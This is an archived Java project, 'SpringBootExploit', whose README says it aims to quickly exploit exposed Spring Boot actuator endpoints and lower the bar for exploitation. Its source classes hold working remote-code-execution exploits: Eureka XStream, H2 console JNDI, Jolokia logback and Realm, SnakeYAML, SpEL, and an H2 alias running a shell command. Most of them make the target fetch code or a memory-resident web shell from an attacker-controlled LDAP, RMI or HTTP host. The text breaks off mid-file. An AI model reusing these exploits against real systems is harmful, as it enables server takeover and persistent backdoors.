pax_global_header 0000666 0000000 0000000 00000000064 14121252536 0014513 g ustar 00root root 0000000 0000000 52 comment=739cfda4cee6d4b63fe445e84aa3de8dbd11406e
SpringBootExploit-1.1/ 0000775 0000000 0000000 00000000000 14121252536 0015007 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/.idea/ 0000775 0000000 0000000 00000000000 14121252536 0015767 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/.idea/$PROJECT_FILE$ 0000664 0000000 0000000 00000000554 14121252536 0017733 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/.gitignore 0000664 0000000 0000000 00000000260 14121252536 0017755 0 ustar 00root root 0000000 0000000 # Default ignored files
/shelf/
/workspace.xml
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml
# Editor-based HTTP Client requests
/httpRequests/
SpringBootExploit-1.1/.idea/artifacts/ 0000775 0000000 0000000 00000000000 14121252536 0017747 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/.idea/artifacts/yaml_payload.xml 0000664 0000000 0000000 00000001167 14121252536 0023151 0 ustar 00root root 0000000 0000000
$PROJECT_DIR$/out/artifacts/yaml_payload
SpringBootExploit-1.1/.idea/codeStyles/ 0000775 0000000 0000000 00000000000 14121252536 0020105 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/.idea/codeStyles/codeStyleConfig.xml 0000664 0000000 0000000 00000000225 14121252536 0023707 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/compiler.xml 0000664 0000000 0000000 00000001710 14121252536 0020322 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/inspectionProfiles/ 0000775 0000000 0000000 00000000000 14121252536 0021646 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/.idea/inspectionProfiles/Project_Default.xml 0000664 0000000 0000000 00000002644 14121252536 0025450 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/jarRepositories.xml 0000664 0000000 0000000 00000001534 14121252536 0021700 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/misc.xml 0000664 0000000 0000000 00000002067 14121252536 0017451 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/qaplug_profiles.xml 0000664 0000000 0000000 00000121462 14121252536 0021713 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/.idea/uiDesigner.xml 0000664 0000000 0000000 00000021130 14121252536 0020604 0 ustar 00root root 0000000 0000000
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
SpringBootExploit-1.1/.idea/vcs.xml 0000664 0000000 0000000 00000000264 14121252536 0017306 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/LICENSE 0000664 0000000 0000000 00000026135 14121252536 0016023 0 ustar 00root root 0000000 0000000 Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SpringBootExploit-1.1/README.md 0000664 0000000 0000000 00000006664 14121252536 0016302 0 ustar 00root root 0000000 0000000 SpringBootExploit
一款针对SpringBootEnv页面进行快速漏洞利用
## 📝 TODO
* 支持Spring Boot Spel表达式注入
* 支持Eureka XStream deserialization RCE
* 支持Fastjson 内存马注入
* 支持更多可以使用JNDI内存马注入反序列化漏洞
* 支持内存马路径和密码修改
........
----
## :dragon:来龙去脉
项目是根据[Spring Boot Vulnerability Exploit Check List](https://github.com/LandGrey/SpringBootVulExploit)清单编写，目的hvv期间快速利用漏洞、降低漏洞利用门槛。
----
## :zap: 下载安装
1. 从[releases](https://github.com/SummerSec/SpringBootExploit/releases)下载最新版Spring Boot Exploit压缩包，配合[JNDIExploit](https://github.com/SummerSec/JNDIExploit)使用。（:star:推荐）
2.
1. git clone https://github.com/SummerSec/SpringBootExploit
2. git clone https://github.com/SummerSec/JNDIExploit
3. mvn clean package -DskipTests 分别打SpringBootExploit包和JNDIExploit
----
## :clapper:使用方法
1. 首先在服务器上上传打包好的JNDIExploit工具，解压。使用命令启动java -jar JNDIExploit-1.2-SNAPSHOT.jar
2. 输入目标地址和配置服务器地址，点击连接。出现如下图所示代表连接成功。
3. 漏洞利用
建议首先点击检测环境，会自动判断是否存在漏洞。漏洞验证方法是Check list的方法，如果有更好的方法可以提交工单会考虑添加。
4. 漏洞利用，目前只支持内存马注入
----
## :book: 参考项目
https://github.com/woodpecker-appstore/springboot-vuldb
SpringBootExploit-1.1/assembly.xml 0000664 0000000 0000000 00000002127 14121252536 0017352 0 ustar 00root root 0000000 0000000
fat-tests
jar
false
/
true
true
test
${project.build.directory}/test-classes
/
**/*.class
true
SpringBootExploit-1.1/pom.xml 0000664 0000000 0000000 00000010620 14121252536 0016323 0 ustar 00root root 0000000 0000000
4.0.0
org.example
SpringBootExploit
1.1-SNAPSHOT
org.apache.maven.plugins
maven-compiler-plugin
8
8
UTF-8
D:/java/jre/lib/rt.jar;D:/java/jre/lib/jce.jar
maven-assembly-plugin
${project.artifactId}-${project.version}-all
false
com.drops.main.Main
assembly.xml
make-assembly
package
single
src/main/resources
com.googlecode.juniversalchardet
juniversalchardet
1.0.3
javax.servlet.jsp
jsp-api
2.2
provided
org.apache.tomcat.embed
tomcat-embed-core
9.0.36
com.nqzero
permit-reflect
0.3
com.unboundid
unboundid-ldapsdk
3.1.1
cn.hutool
hutool-all
5.7.5
com.jfoenix
jfoenix
8.0.10
org.javassist
javassist
3.15.0-GA
org.springframework
spring-expression
5.3.1
com.alibaba
fastjson
1.2.73
SpringBootExploit-1.1/src/ 0000775 0000000 0000000 00000000000 14121252536 0015576 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/ 0000775 0000000 0000000 00000000000 14121252536 0016522 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/ 0000775 0000000 0000000 00000000000 14121252536 0017443 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/ 0000775 0000000 0000000 00000000000 14121252536 0020221 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/ 0000775 0000000 0000000 00000000000 14121252536 0021350 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/entity/ 0000775 0000000 0000000 00000000000 14121252536 0022664 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/entity/ControllersFactory.java 0000664 0000000 0000000 00000000270 14121252536 0027364 0 ustar 00root root 0000000 0000000 package com.drops.entity;
import java.util.HashMap;
import java.util.Map;
public class ControllersFactory {
public static Map controllers = new HashMap<>();
}
SpringBootExploit-1.1/src/main/java/com/drops/entity/RequestInfo.java 0000664 0000000 0000000 00000000234 14121252536 0025772 0 ustar 00root root 0000000 0000000 package com.drops.entity;
public class RequestInfo {
public static String url;
public static String method;
public static Integer timeout;
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/ 0000775 0000000 0000000 00000000000 14121252536 0022144 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/exp/EurekaXstreamRCEEXP.java 0000664 0000000 0000000 00000003475 14121252536 0026507 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import com.drops.exp.util.EnvPost;
import com.drops.exp.util.RefreshPost;
import com.drops.utils.URLUtil;
/**
* @ClassName: EurekaXstreamRCE
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 11:09
* @Version: v1.0.0
* @Description:
**/
public class EurekaXstreamRCEEXP {
static String bobyV1 = "eureka.client.serviceUrl.defaultZone=";
static String bobyV2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"";
/**
* @Description:
* @param target http://127.0.0.1:9092/
* @param vps http://127.0.0.1:9092/example
*
* @return:
*/
public boolean setRCEV1(String target, String vps, String port){
String boby = bobyV1 + vps + port + "/example";
System.out.println(boby);
if (EnvPost.isPostEnv(target)){
if (RefreshPost.isRefreshPost(target)){
if (EnvPost.PostEnv(target,boby)){
if (RefreshPost.isRefreshPost(target)){
System.out.println("EurekaXstreamRCEExp利用成功");
return true;
}
return false;
}
}
}
return false;
}
public boolean setRCEV2(String target, String vps, String port){
String boby = bobyV2 + vps + port + "/example\"}";
System.out.println(boby);
if (EnvPost.isPostEnvV2(target)){
if (RefreshPost.isRefreshPostV2(target)){
if (EnvPost.PostEnvV2(target,boby)){
if (RefreshPost.isRefreshPostV2(target)){
System.out.println("EurekaXstreamRCEExp利用成功");
return true;
}
return false;
}
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/H2DatabaseConsoleJNDIRCEEXP.java 0000664 0000000 0000000 00000003154 14121252536 0027607 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import com.drops.exp.util.H2DatabaseUtil;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
/**
* @ClassName: H2DatabaseConsoleJNDIRCEEXP
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/30 9:56
* @Version: v1.0.0
* @Description:
**/
public class H2DatabaseConsoleJNDIRCEEXP {
public boolean hasH2DatabaseConsoleJNDIRCE(String target,String vps,String lport) {
// MainController.lport.getText();
// String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A1389%2Fbasic%2FTomcatMemshell3&user=&password=";
String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A" + lport + "%2Fbasic%2FTomcatMemshell3&user=&password=";
String path = H2DatabaseUtil.getJsessionid(target);
String url = target + "/h2-console/login.do?" + path;
System.out.println(url);
boolean flag = HTTPUtils.H2PostRequest(url,boby).isOk();
if (flag){
return flag;
}else {
if (HTTPUtils.getRequest(target,"ateam").isOk()){
return true;
}else {
return false;
}
}
}
public static void main(String[] args) {
String url = "http://127.0.0.1:9096/";
H2DatabaseConsoleJNDIRCEEXP h2DatabaseConsoleJNDIRCEEXP= new H2DatabaseConsoleJNDIRCEEXP();
h2DatabaseConsoleJNDIRCEEXP.hasH2DatabaseConsoleJNDIRCE(url,"127.0.0.1","1389");
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/JolokiaLogbackRCEEXP.java 0000664 0000000 0000000 00000002252 14121252536 0026572 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import cn.hutool.http.HttpResponse;
import com.drops.exp.util.JolokiaUtil;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
/**
* @ClassName: JolokiaLogback
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 14:50
* @Version: v1.0.0
* @Description:
**/
public class JolokiaLogbackRCEEXP {
public boolean hasJolokiaLogbackRCE(String target, String vps, String hport, boolean version) {
String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
+ ":"+hport+"!/a.xml";
if (version){
if (JolokiaUtil.hasMbeans(target)){
int result = HTTPUtils.getRequest(target + path).getStatus();
if (result == 200){
return true;
}
}
}else {
if (JolokiaUtil.hasMbeansV2(target)){
int result = HTTPUtils.getRequest(target + "/actuator" + path).getStatus();
if (result == 200){
return true;
}
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/JolokiaRealmRCEEXP.java 0000664 0000000 0000000 00000005347 14121252536 0026300 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import com.drops.exp.util.JolokiaUtil;
import com.drops.utils.HTTPUtils;
/**
* @ClassName: JolokiaRealmRCEEXP
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 15:20
* @Version: v1.0.0
* @Description:
**/
public class JolokiaRealmRCEEXP {
public boolean hasJolokiaRealmRCE(String target, String vps, String port, boolean version) {
String create_realm = " {\n" +
" \"mbean\": \"Tomcat:type=MBeanFactory\",\n" +
" \"type\": \"EXEC\",\n" +
" \"operation\": \"createJNDIRealm\",\n" +
" \"arguments\": [\"Tomcat:type=Engine\"]\n" +
"}";
String wirte_factory = " {\n" +
" \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
" \"type\": \"WRITE\",\n" +
" \"attribute\": \"contextFactory\",\n" +
" \"value\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
"}";
// 设置 http
String write_url = "{\n" +
" \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
" \"type\": \"WRITE\",\n" +
" \"attribute\": \"connectionURL\",\n" +
" \"value\": \"rmi://" + vps + ":10990/BehinderFilter\"\n" +
"}";
String stop = "{\n" +
" \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
" \"type\": \"EXEC\",\n" +
" \"operation\": \"stop\",\n" +
" \"arguments\": []\n" +
"}";
String start = "{\n" +
" \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
" \"type\": \"EXEC\",\n" +
" \"operation\": \"start\",\n" +
" \"arguments\": []\n" +
"}";
String[] poc = new String[]{create_realm, wirte_factory, write_url, stop, start};
if (version){
if (JolokiaUtil.hasMbeansV3(target)){
for (String p: poc){
if (
HTTPUtils.postRequestV1(target, "/jolokia",p).getStatus() != 200
){
return false;
}
}
return true;
}
}else {
if (JolokiaUtil.hasMbeansV4(target)){
for (String p: poc){
if (
HTTPUtils.postRequestV1(target, "/actuator/jolokia",p).getStatus() != 200
) {
return false;
}
}
return true;
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/RestartH2DatabaseQueryRCEEXP.java 0000664 0000000 0000000 00000003245 14121252536 0030213 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import com.drops.exp.util.EnvPost;
import com.drops.exp.util.H2DatabaseUtil;
import com.drops.exp.util.RefreshPost;
/**
* @ClassName: RestartH2DatabaseQueryRCEEXP
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/30 9:47
* @Version: v1.0.0
* @Description:
**/
public class RestartH2DatabaseQueryRCEEXP {
public static boolean hasRestartH2DatabaseQueryRCE(String target,boolean version) {
String property1 = "spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');";
String property2 = "{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');\"}";
// if (version) {
// if (EnvPost.isPostEnv(target)) {
// if (EnvPost.PostEnv(target, property1)) {
// if (RefreshPost.isRefreshPost(target)) {
// return true;
// }
// }
// }
// } else {
// if (H2DatabaseUtil.hasH2Database(target,version)){
// if (EnvPost.isPostEnvV2(target)) {
// if (EnvPost.PostEnvV2(target, property2)) {
// if (RefreshPost.isRefreshPostV2(target)) {
// return true;
// }
// }
// }
// }
// }
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/SnakeYAMLRCEEXP.java 0000664 0000000 0000000 00000005227 14121252536 0025450 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import cn.hutool.http.HttpResponse;
import com.drops.entity.ControllersFactory;
import com.drops.exp.util.EnvPost;
import com.drops.exp.util.RefreshPost;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
/**
* @ClassName: SnakeYAMLRCEEXP
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/2 16:40
* @Version: v1.0.0
* @Description:
**/
public class SnakeYAMLRCEEXP {
private final MainController mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
public SnakeYAMLRCEEXP() {
}
public boolean sendExp(String target, String vps, String hport, boolean version){
// String boby = "spring.cloud.bootstrap.location=http://" + vps + ":3456/" + "snake" + ".yml";
String boby = "spring.cloud.bootstrap.location=http://" + vps + ":"+hport +"/" + "snake" + ".yml";
String boby2 = "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://" + vps + ":"+hport+"/" + "snake" + ".yml\"}";
if (version){
String url = URLUtil.getROOT(target);
if (EnvPost.isPostEnv(url)){
if (RefreshPost.isRefreshPost(url)){
HttpResponse re = HTTPUtils.postRequestV1(url,"env",boby);
if (re.isOk()){
HttpResponse res = HTTPUtils.postRequestV1(url,"refresh");
if (res.isOk()){
// this.mainController.execOutputArea.appendText(Utils.log(res.body()));
return true;
}
}
}
}else {
// this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
}
}else {
String url = URLUtil.getROOT(target);
if (EnvPost.isPostEnvV2(url)){
if (RefreshPost.isRefreshPostV2(url)) {
HttpResponse re = HTTPUtils.postRequestV2(url, "actuator/env", boby2);
if (re.isOk()) {
HttpResponse res = HTTPUtils.postRequestV2(url,"refresh");
if (!res.isOk()){
// this.mainController.execOutputArea.appendText(Utils.log(res.body()));
return true;
}
}
}
}else {
// this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/SpELRCEEXP.java 0000664 0000000 0000000 00000001224 14121252536 0024520 0 ustar 00root root 0000000 0000000 package com.drops.exp;
import com.drops.utils.SpelUtils;
/**
* @ClassName: SpELRCEEXP
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/23 16:09
* @Version: v1.0.0
* @Description:
**/
public class SpELRCEEXP {
public String SpELRCEEXP(String vps){
String poc = "";
String ldap = "ldap://" + vps + ":1389/basic/TomcatMemShell3";
System.out.println(ldap);
SpelUtils spelUtils = new SpelUtils();
poc = spelUtils.SpelExpr(ldap);
return poc;
}
public static void main(String[] args) {
SpELRCEEXP spELRCEEXP = new SpELRCEEXP();
spELRCEEXP.SpELRCEEXP("127.0.0.1");
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/util/ 0000775 0000000 0000000 00000000000 14121252536 0023121 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/exp/util/EnvPost.java 0000664 0000000 0000000 00000004764 14121252536 0025375 0 ustar 00root root 0000000 0000000 package com.drops.exp.util;
import cn.hutool.http.HttpResponse;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
import com.drops.utils.URLUtil;
/**
* @ClassName: EnvPost
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 11:10
* @Version: v1.0.0
* @Description:
**/
public class EnvPost {
/**
* @Description: env
* @param target
* @param boby
*
* @return:
*/
public static Boolean PostEnv(String target, String boby){
if (isPostEnv(target)) {
HttpResponse result = HTTPUtils.postRequestV1(target, "env", boby);
if (ResponseUtil.getStats(result) == 200) {
if (ResponseUtil.getBoby(result).isEmpty()) {
System.out.println("返回包状态码 200,但返回包内容为null！请手工验证是否成功！");
return true;
}
return true;
} else {
System.out.println("返回包状态码：" + ResponseUtil.getStats(result));
System.out.println(boby + " 属性设置失败！");
}
}
return true;
}
public static Boolean PostEnvV2(String target, String boby){
if (isPostEnv(target)) {
HttpResponse result = HTTPUtils.postRequestV2(target, "actuator/env", boby);
if (ResponseUtil.getStats(result) == 200) {
if (ResponseUtil.getBoby(result).isEmpty()) {
System.out.println("返回包状态码 200,但返回包内容为null！请手工验证是否成功！");
return true;
}
return true;
} else {
System.out.println("返回包状态码：" + ResponseUtil.getStats(result));
System.out.println(boby + " 属性设置失败！");
}
}
return true;
}
/**
* @Description: 验证env端口是否存活，能否接受post请求
* @param target
*
* @return:
*/
public static boolean isPostEnv(String target){
// HttpResponse result = HTTPUtils.postRequestV1(target,"env");
// if (!ResponseUtil.getBoby(result).isEmpty()){
// return true;
// }
return true;
}
public static boolean isPostEnvV2(String target){
// HttpResponse result = HTTPUtils.postRequestV2(target,"actuator/env");
// if (ResponseUtil.getStats(result) == 200){
// return true;
// }
return true;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/util/H2DatabaseUtil.java 0000664 0000000 0000000 00000002216 14121252536 0026521 0 ustar 00root root 0000000 0000000 package com.drops.exp.util;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ReUtil;
/**
* @ClassName: H2DatabaseUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/30 9:35
* @Version: v1.0.0
* @Description:
**/
public class H2DatabaseUtil {
public static boolean hasH2Database(String target ){
String regex = "h2database";
String result = HTTPUtils.getRequest(target).body();
if (result.contains(regex)){
return true;
}else {
return false;
}
}
public static String getJsessionid(String target){
String result = HTTPUtils.getRequest(target + "/h2-console").body();
String regex = "jsessionid=([A-Za-z0-9]+)";
// System.out.println(result);
// System.out.println(HTTPUtils.getRequest(target + "/h2-console").getStatus());
// System.out.println(ReUtil.hasVersion(result, regex));
return ReUtil.hasVersion(result, regex);
}
public static void main(String[] args) {
H2DatabaseUtil.getJsessionid("http://127.0.0.1:9096");
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/util/JolokiaUtil.java 0000664 0000000 0000000 00000003603 14121252536 0026214 0 ustar 00root root 0000000 0000000 package com.drops.exp.util;
import cn.hutool.http.HttpResponse;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
/**
* @ClassName: JolokiaUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 14:24
* @Version: v1.0.0
* @Description:
**/
public class JolokiaUtil {
static String keyV1 = "ch.qos.logback.classic.jmx.JMXConfigurator";
static String keyV2 = "reloadByURL";
static String keyV3 = "type=MBeanFactory";
static String keyV4 = "createJNDIRealm";
/**
* @Description: jolokia logback JNDI RCE
* @param target
*
* @return:
*/
public static boolean hasMbeans(String target){
String result = HTTPUtils.getRequest(target + "/jolokia/list").body();
if (result.contains(keyV1)){
if (result.contains(keyV2)){
return true;
}
}
return false;
}
public static boolean hasMbeansV2(String target){
String result = HTTPUtils.getRequest(target + "/actuator/jolokia/list").body();
if (result.contains(keyV1)){
if (result.contains(keyV2)){
return true;
}
}
return false;
}
/**
* @Description: jolokia Realm JNDI RCE
* @param target
*
* @return:
*/
public static boolean hasMbeansV3(String target){
String result = HTTPUtils.getRequest(target + "/jolokia/list").body();
if (result.contains(keyV3)) {
if (result.contains(keyV4)) {
return true;
}
}
return false;
}
public static boolean hasMbeansV4(String target){
String result = HTTPUtils.getRequest(target + "/actuator/jolokia/list").body();
if (result.contains(keyV3)){
if (result.contains(keyV4)){
return true;
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/util/RefreshPost.java 0000664 0000000 0000000 00000001463 14121252536 0026234 0 ustar 00root root 0000000 0000000 package com.drops.exp.util;
import cn.hutool.http.HttpResponse;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
/**
* @ClassName: RefreshPost
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 13:55
* @Version: v1.0.0
* @Description:
**/
public class RefreshPost {
public static boolean isRefreshPost(String target){
// HttpResponse result = HTTPUtils.postRequestV1(target,"refresh");
// if (ResponseUtil.getStats(result) == 200){
// return true;
// }
return true;
}
public static boolean isRefreshPostV2(String target){
